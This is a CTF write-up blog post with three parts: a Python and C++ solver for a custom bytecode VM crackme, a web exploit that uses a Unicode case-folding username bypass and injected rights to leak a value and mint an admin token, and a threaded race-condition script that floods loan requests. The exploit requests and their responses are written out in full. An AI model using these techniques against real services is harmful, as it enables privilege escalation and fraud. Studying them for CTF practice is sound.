code = '#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!'
pwd = iter([5,ord('X'),0,0,0,0,0,0,ord('W')])
secret=list(map(lambda x:int(x,16),'0E 8D 8E 0E 67 4E E5 E5 8E EE 2E 8D 8C AE 45 CE 6D EC A5 ED EE 8B 4E AE 0E 0E 8C AD 64 0E 86 67'.split(' ')))
usecret=list(range(48,80))
assert len(usecret)==32
pwd_bytes=[0]*4
def proc_pwd_byte(pwd_byte):
four_byte_table=[1,2,3,0]
pwd_bytes[0] = four_byte_table[pwd_byte & 3]
four_byte_table = four_byte_table[:pwd_byte & 3] + four_byte_table[(pwd_byte & 3)+1:]
t=(pwd_byte>>2)%3
pwd_bytes[1] = four_byte_table[t]
four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
t=(pwd_byte//12)%2
pwd_bytes[2] = four_byte_table[t]
four_byte_table = four_byte_table[:t] + four_byte_table[t+1:]
pwd_bytes[3] = four_byte_table[0]
pc=0
def get():
global pc
r=code[pc]
pc+=1
return ord(r)
stack=[]
def pop():
global stack
r=stack[-1]
stack=stack[:-1]
return r
def ror(x,y):
a=secret[x+1]*256+secret[x]
a=(a>>y)|((a&((1<<y)-1))<<(16-y))
secret[x+1]=a>>8
secret[x]=a&255
def rol(x,y):
return (x<<y&255)|(x>>(8-y))
def push(x):
stack.append(x)
def speco(a):
b=a>>8
a=a&0xff
for i in range(8):
y = b&1
x = a&1
v7 = pwd_bytes[y*2+x]>>1
v6 = pwd_bytes[y*2+x]&1
b = rol(v7|(b&0xfe), 1)
a = rol(v6|(a&0xfe), 1)
return a<<8|b
def spec():
a=pop()
b=pop()
t=speco(b<<8|a)
b=t>>8
a=t&255
push(b)
push(a)
def cpu():
cur=next(pwd)
proc_pwd_byte(cur)
while True:
op=get()
if op==0x26:
spec()
elif op==0x21: # !
break
elif op==0x2d: # -
secret[get()-0x30]=pop()&255
elif op==0x23: # #
fr = get() - 0x30
ror(fr,cur&7)
else:
assert op <= 0x30 + 0x2B
push(secret[op-0x30])
pass
cpu()
print(''.join(map(chr,usecret)))
secret=usecret
for i in range(8):
cpu()
s=''
for i in range(16):
s+='%02x'%secret[i]
print(s)
s=''
for i in range(16,32):
s+='%02x'%secret[i]
print(s)
Each digit of the key is used twice, once be modulo 24, once be modulo 8. So there are only different keys.
We can just enumerate the key and solve the equation.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
const char code[]="#0#:#4#8#N#<#L#J#D#@#B#F#2#>#H#6!CBKMNLHOIAJ@DFGE?8:67=<>93;1452-4-:-8-2-F-6-B-L-H-J->-<-D-@-ND&-D-E@&-@-AB&-B-CF&-F-GN&-N-O:&-:-;L&-L-M<&-<-=0&-0-1>&->-?6&-6-72&-2-34&-4-58&-8-9J&-J-KH&-H-I!8:5>;=91?072634<CEM@IBJKLAGNFDH-A-9-=-M-?-3-I-G-E-5-C-1-K-;-77&-7-6G&-G-FI&-I-HC&-C-BK&-K-JA&-A-@O&-O-N1&-1-0M&-M-L=&-=-<5&-5-49&-9-83&-3-2E&-E-D;&-;-:?&-?->!L7>-L->-76<H?N3-6-3-N-?-H-<K9B-K-B-9=J;FCI-=-I-C-F-;-J8@O124-8-4-2-1-O-@M5:DGA-M-A-G-D-:-5A@&-@-AIH&-H-I98&-8-9GF&-F-G;:&-:-;76&-6-7ON&-N-OKJ&-J-K54&-4-5ML&-L-M32&-2-3ED&-D-E10&-0-1?>&->-?=<&-<-=CB&-B-C!C7@1LI-C-I-L-1-@-74F=-4-=-FKG?0NM-K-M-N-0-?-GHA3-H-3-A5D9<6B-5-B-6-<-9-DJE;8>2-J-2->-8-;-EFG&-G-FNO&-O-NBC&-C-BDE&-E-D@A&-A-@67&-7-689&-9-8<=&-=-<JK&-K-J01&-1-0HI&-I-H45&-5-423&-3-2LM&-M-L>?&-?->:;&-;-:!JKFEH@IMCGANLDOB<9;5>728:=463?1-2-N-6-<-8-J-D-@-4->-L-:-F-B-HJ&-J-K0&-0-1F&-F-G6&-6-72&-2-3L&-L-M@&-@-AH&-H-I4&-4-5<&-<-=N&-N-O>&->-?D&-D-EB&-B-C8&-8-9:&-:-;!862:>1?3;=<47950JMFHENDC@ILABKG-?-G-5-3-I-C-1-7-9-M-;-A-=-K-EO&-O-NE&-E-D=&-=-<A&-A-@G&-G-F7&-7-65&-5-49&-9-8I&-I-H1&-1-0M&-M-L3&-3-2;&-;-:K&-K-JC&-C-B?&-?->!L7>-L->-7I=J;FC-I-C-F-;-J-=9BK-9-K-B5:DGAM-5-M-A-G-D-:1248@O-1-O-@-8-4-236<H?N-3-N-?-H-<-610&-0-154&-4-5?>&->-?ON&-N-OGF&-F-GA@&-@-A32&-2-3ED&-D-E;:&-:-;CB&-B-CIH&-H-IKJ&-J-KML&-L-M=<&-<-=98&-8-976&-6-7!<6B5D9-<-9-D-5-B-6HA3-H-3-A4F=-4-=-F7@1LIC-7-C-I-L-1-@G?0NMK-G-K-M-N-0-?>2JE;8->-8-;-E-J-2HI&-I-HJK&-K-J01&-1-0<=&-=-<LM&-M-LFG&-G-F67&-7-645&-5-4@A&-A-@>?&-?->89&-9-8DE&-E-DBC&-C-BNO&-O-N23&-3-2:;&-;-:#2#B#F#4#0#8#>#D#@#H#L#N#:#J#6#<!";
const int req[32]={139, 164, 9, 150, 8, 129, 251, 171, 103, 110, 126, 74, 71, 68, 119, 112, 179, 101, 213, 124, 24, 97, 105, 40, 107, 47, 6, 77, 11, 67, 75, 246};
const int SG=32*8;
typedef std::bitset<32*8+1>bit;
int to_int(bit*s)
{
int t=0;
fo0(j,8)
{
t+=(int)s[j][SG]<<j;
}
return t;
}
void proc_pwd_byte(int x,int*o)
{
int t[4]={1,2,3,0};
fd1(i,4)
{
int y=x%i;
x/=i;
o[4-i]=t[y];
fo(j,y,i-2)t[j]=t[j+1];
}
}
int pb[24][4],rc[2][2][2][2][2];
bool plx[24],ply[24],plz[24];
bool phx[24],phy[24],phz[24];
void speco(bit*s,int pwd)
{
//low to high
bit ta,tb;
fo0(i,8)
{
ta.reset(),tb.reset();
//out,plx[pwd],' ',ply[pwd],' ',plz[pwd],'\n';
if(plx[pwd])ta^=s[i];
if(ply[pwd])ta^=s[i+8];
if(plz[pwd])ta[SG].flip();
if(phx[pwd])tb^=s[i];
if(phy[pwd])tb^=s[i+8];
if(phz[pwd])tb[SG].flip();
//out,(int)s[i][SG],' ',(int)s[i+8][SG],' ',(int)ta[SG],' ',(int)tb[SG],'\n';
s[i]=tb;
s[i+8]=ta;
}
}
void push(bit*stack,bit*s,int&sc)
{
fo0(i,8)stack[sc+i]=s[i];
sc+=8;
}
void pop(bit*stack,bit*s,int&sc)
{
sc-=8;
fo0(i,8)s[i]=stack[sc+i];
}
void spec(bit*stack,int&sc,int pwd)
{
//exit(233);
bit tmp[16];
pop(stack,tmp,sc);
pop(stack,tmp+8,sc);
//out,to_int(tmp),' ',to_int(tmp+8),'\n';
speco(tmp,pwd);
push(stack,tmp+8,sc);
push(stack,tmp,sc);
//out,to_int(tmp),' ',to_int(tmp+8),'\n';
}
int get(int&pc)
{
return code[pc++];
}
void ror(bit*secret,int x,int y)
{
bit tmp[16];
fo0(i,y)tmp[i]=secret[x*8+i];
fo0(i,16-y)secret[x*8+i]=secret[x*8+i+y];
fo0(i,y)secret[x*8+i+16-y]=tmp[i];
}
void cpu(bit*secret,int&pc,int pwd)
{
bit stack[248];
int sc=0;
pwd%=24;
while(1)
{
int op=get(pc);
if(op==0x26)spec(stack,sc,pwd);
else if(op==0x21)break;
else if(op==0x2d)pop(stack,secret+(get(pc)-0x30)*8,sc);
else if(op==0x23)ror(secret,get(pc)-0x30,pwd&7);
else push(stack,secret+(op-0x30)*8,sc);
//out,op,' ',stack.size()/8,'\n';
//print_str();
//if(op==0x26)exit(233);
}
}
int succ=0;
void work(int k1,int k2,int k3,int k4,int k5,int k6)
{
int pc=33;
bit s[32*8];
fo0(i,32)
{
fo0(j,8)
{
s[i*8+j].reset();
s[i*8+j][i*8+j]=1;
}
}
cpu(s,pc,'X');
cpu(s,pc,k1);
cpu(s,pc,k2);
cpu(s,pc,k3);
cpu(s,pc,k4);
cpu(s,pc,k5);
cpu(s,pc,k6);
cpu(s,pc,'W');
fo0(i,32)
{
fo0(j,8)
{
if(req[i]>>j&1)s[i*8+j][SG].flip();
}
}
const int n=256;
fo0(i,n)
{
int t=i;
while(t<n&&!s[t][i])t++;
if(t!=i)std::swap(s[t],s[i]);
assert(s[i][i]);
fo0(j,n)if(j!=i&&s[j][i])s[j]^=s[i];
}
unsigned char res[32];
mset(res,0);
fo0(i,n)res[i>>3]|=int(s[i][SG])<<(i&7);
//fo0(i,32)out,res[i],',';out,'\n';
bool flag=1;
fo0(i,32)flag&=res[i]>=32&&res[i]<=127;
if(flag)
{
//out,"ok\n";
fprintf(stderr,"%s\n",res);
}
succ++;
if(succ%10000==0)out,succ,'\n';
}
int main()
{
fo0(i,24)proc_pwd_byte(i,pb[i]);
fo0(x,2)fo0(y,2)fo0(z,2)fo0(i,2)fo0(j,2)
{
rc[x][y][z][i][j]=x*i^y*j^z;
}
fo0(i,24)
{
//out,i,':';fo0(j,4)out,pb[i][j],' ';out,'\n';
bool ok=0;
fo0(x,2)fo0(y,2)fo0(z,2)
{
bool flag=1;
fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]&1))flag=0;
//fo0(j,2)fo0(k,2)out,x,' ',y,' ',z,' ',j,' ',k,' ',rc[x][y][z][j][k],' ',pb[i][j*2+k]&1,'\n';
if(flag)
{
plx[i]=x,ply[i]=y,plz[i]=z;
ok=1;break;
}
}
assert(ok);
ok=0;
fo0(x,2)fo0(y,2)fo0(z,2)
{
bool flag=1;
fo0(j,2)fo0(k,2)if(rc[x][y][z][j][k]!=(pb[i][j+k*2]>>1))flag=0;
if(flag)
{
phx[i]=x,phy[i]=y,phz[i]=z;
ok=1;break;
}
}
assert(ok);
//out,plx[i],' ',ply[i],' ',plz[i],'\n';
//out,phx[i],' ',phy[i],' ',phz[i],'\n';
}
for(uint i=0;i<191102976;i++)
{
int t=i;
int a=t%26;t/=26;
int b=t%26;t/=26;
int c=t%26;t/=26;
int d=t%26;t/=26;
int e=t%26;t/=26;
int f=t;
work(a,b,c,d,e,f);
}
}
After add openmp
to this program, it find lots of strings which like shuffled flag. I manually extract the real flag from it.
First, by fuzzing, I found that hacKtm
(K is chr(8490)) can beat the toLowerCase
and toUpperCase
.
After register with this, we can update our rights with [["n"]]
. Then the serverInfo
will leak .
Then post init
with , we got the admin token. Just use this token to view /flag
.
>>> print(requests.post('http://167.172.165.153:60001/updateUser',json={'color':'1','rights':[['n']]},headers={'Authorization':'...(omitted)'}).text)
{"status":"ok","data":{"user":{"username":"hacKtm","id":"c9a76173-8467-4207-99cd-e239a2b93b8b","color":1,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"]]}}}
>>> print(requests.get('http://167.172.165.153:60001/serverInfo',headers={'Authorization':'...'}).text)
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":155},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"}]}}
>>> requests.post('http://167.172.165.153:60001/init',json={'p':'1','q':'54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979'}).text
'{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNTczMDAxfQ.esUKUwyiWQ-eZJHGqXKTjXalVfQTp2dPz237tnF-ZvY"}}'
Use many threads to loan money at the same time. Then it will be race condition. Then just buy the flag.
import requests,threading,time
r=requests.post('http://178.128.175.6:50090/register',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','username':'testx'},headers={'cookie':'session=eyJjc3JmX3Rva2VuIjoiNzNmODQ0MzY2ZTc2NWFmODJmY2VmY2RkMWU1YmU5NjExNWZmNzIzNyJ9.XjdUZg.KqdE__xzueJrl1VUwZ_-vgc5980'})
sess=r.cookies['session']
print(sess)
def work():
r=requests.post('http://178.128.175.6:50090/',data={'csrf_token':'IjczZjg0NDM2NmU3NjVhZjgyZmNlZmNkZDFlNWJlOTYxMTVmZjcyMzci.XjdnLQ.-fiohAVQha1Nn-OjrhWRg8Yd84g','loan':'10'},headers={'cookie':'session='+sess})
t=0
while True:
threading.Thread(target=work).start()
t+=1
if t%20==0:
time.sleep(0.01)
time.sleep(3)
日期: 2020-02-06
这是一篇旧文,原始文章及评论可在 https://oldblog.mcfx.us/archives/278/ 查看。